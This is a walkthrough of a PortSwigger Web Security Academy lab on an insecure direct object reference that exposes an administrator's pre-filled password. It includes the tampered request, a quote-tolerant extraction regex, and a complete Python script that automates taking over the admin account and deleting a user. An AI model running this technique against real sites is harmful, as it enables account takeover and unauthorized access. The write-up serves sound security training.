LearnAccess Control › Lab: User ID controlled by request parameter wit…

Lab: User ID controlled by request parameter with password disclosure

PortSwigger Apprentice Access Control

Original lab: Lab: User ID controlled by request parameter with password disclosure on PortSwigger ↗

An IDOR that leaks another user's API key is bad. An IDOR that leaks the *administrator's password* turns a horizontal information leak into full vertical privilege escalation in one request. This lab chains the same identifier-tampering flaw seen throughout this series into an account takeover, by pointing it at a page that happens to render a password field with the value already filled in.

The Target

The now-familiar /my-account?id=<username> pattern, on an account page that includes a password change form. For an ordinary account, that field is naturally blank. For the administrator account specifically, the field comes pre-filled — a convenience feature ("show me my current setting") that becomes a liability the moment the IDOR from Lab 5 is pointed at it.

The Investigation

We already knew from Lab 5 that swapping the id parameter returns another account's page under our own session. The only new question here was what that page actually contains for the administrator account specifically — and account pages with editable password fields are worth checking for exactly this pattern, because a masked <input type="password"> still has to carry its current value in the markup for a browser to display it, masked or not.

Extracting that value turned out to need more care than a single regex pattern. PortSwigger labs render the input's attributes with inconsistent quoting — some single-quoted, some double-quoted, some unquoted — so a regex written for one style silently misses the others:

<input type=password name=password value='...'>
regex: name=.?password.?[^>]*value=["\']([^"\']+)["\']
-- Key: PortSwigger labs use single-quoted, unquoted attributes — regex must handle all quote styles

The Exploit

Logged in as wiener, we requested the administrator's account page via the same IDOR used in Lab 5:

GET /my-account?id=administrator
resp = client.get(f"{base}/my-account", params={"id": "administrator"})
pw_match = re.search(r'name=.?password.?[^>]*value=["\']([^"\']+)["\']', resp.text)

The regex pulled the administrator's actual password straight out of the pre-filled input field. We logged in as administrator with the recovered credential, opened /admin, located the delete link for carlos, and followed it — solving the lab.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution is the same chain: log in, change id to administrator, observe the response contains the administrator's password, log in as administrator, delete carlos. This matches our approach exactly — same IDOR, same target field, same escalation path from leaked password to admin panel access.

The only difference is extraction mechanics: Burp Repeater lets a human just read the value straight off the rendered response body, while our script needed a regex robust enough to handle whatever quoting style the specific input tag used. That's a scripting-specific wrinkle, not a difference in the underlying exploit.

What This Teaches Us

This lab is a reminder that IDOR impact isn't fixed by the vulnerability class — it's set by what the exposed page happens to contain. The same missing ownership check that leaked an API key in Lab 5 leaks a plaintext-equivalent password here, purely because this particular account page renders a password field pre-filled for convenience. Pre-filling sensitive fields for the "current user" is already a questionable pattern; doing it on a page reachable by anyone who can control the id parameter turns a UX shortcut into a direct path to full account takeover.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
User ID controlled by request parameter with password disclosure
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 08-user-id-controlled-password-disclosure.md

What this does:
    Logs in as wiener and requests /my-account?id=administrator via the same
    IDOR as the earlier id-parameter labs. The administrator's account page
    pre-fills its password change field with the current value, so a
    quote-tolerant regex (PortSwigger labs mix single/double/unquoted HTML
    attributes) pulls the plaintext password straight out of the markup.
    Logs back in as administrator with the recovered password, opens /admin,
    and deletes carlos.

Usage:
    python 08-user-id-controlled-password-disclosure.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx
from urllib.parse import urljoin


def get_csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def login(client: httpx.Client, base: str, username: str, password: str) -> httpx.Response:
    login_page = client.get(f"{base}/login")
    csrf = get_csrf(login_page.text)
    return client.post(f"{base}/login", data={"csrf": csrf, "username": username, "password": password})


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    login(client, lab_url, "wiener", "peter")

    resp = client.get(f"{lab_url}/my-account", params={"id": "administrator"})
    print(f"[*] /my-account?id=administrator: {resp.status_code}")

    # Handles single-quoted, double-quoted, and unquoted attribute styles.
    pw_match = re.search(r'name=.?password.?[^>]*value=["\']([^"\']+)["\']', resp.text)
    if not pw_match:
        pw_match = re.search(r'type=.?password.?[^>]*value=["\']([^"\']+)["\']', resp.text)
    if not pw_match:
        pw_match = re.search(r'value=["\']([^"\']+)["\'][^>]*type=.?password', resp.text)

    if not pw_match:
        print("[-] Could not extract administrator password.")
        return

    admin_pw = pw_match.group(1)
    print(f"[+] Administrator password: {admin_pw}")

    login(client, lab_url, "administrator", admin_pw)

    resp = client.get(f"{lab_url}/admin")
    delete_match = re.search(r'href="([^"]*\?username=carlos[^"]*)"', resp.text, re.IGNORECASE)
    if not delete_match:
        delete_match = re.search(r'href="([^"]*delete[^"]*carlos[^"]*)"', resp.text, re.IGNORECASE)

    if delete_match:
        delete_path = delete_match.group(1)
        delete_url = f"{lab_url}{delete_path}" if delete_path.startswith("/") else urljoin(f"{lab_url}/admin/", delete_path)
        client.get(delete_url)
    else:
        client.get(f"{lab_url}/admin/delete", params={"username": "carlos"})

    check = client.get(lab_url)
    if "Congratulations" in check.text:
        print("[+] Lab solved -- administrator password leaked via IDOR, carlos deleted.")
    else:
        print("[-] Not solved yet -- confirm the extracted password logs in successfully.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →